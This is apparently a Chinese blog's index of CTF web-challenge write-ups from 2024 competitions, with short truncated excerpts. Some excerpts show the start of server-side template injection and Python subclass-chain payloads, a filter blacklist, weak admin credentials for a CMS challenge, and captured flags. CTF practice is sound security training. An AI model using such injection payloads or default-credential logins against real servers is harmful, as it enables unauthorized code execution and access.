    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解
  • DASCTF2024校赛

    cool_indexserver.js: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525...

    DASCTF2024校赛
  • NKCTF2024

    my first cmshttps://avd.aliyun.com/detail?id=AVD-2024-27622 弱口令登录 username : admin password : Admin123 登录进去后: 全世界最简单...

    NKCTF2024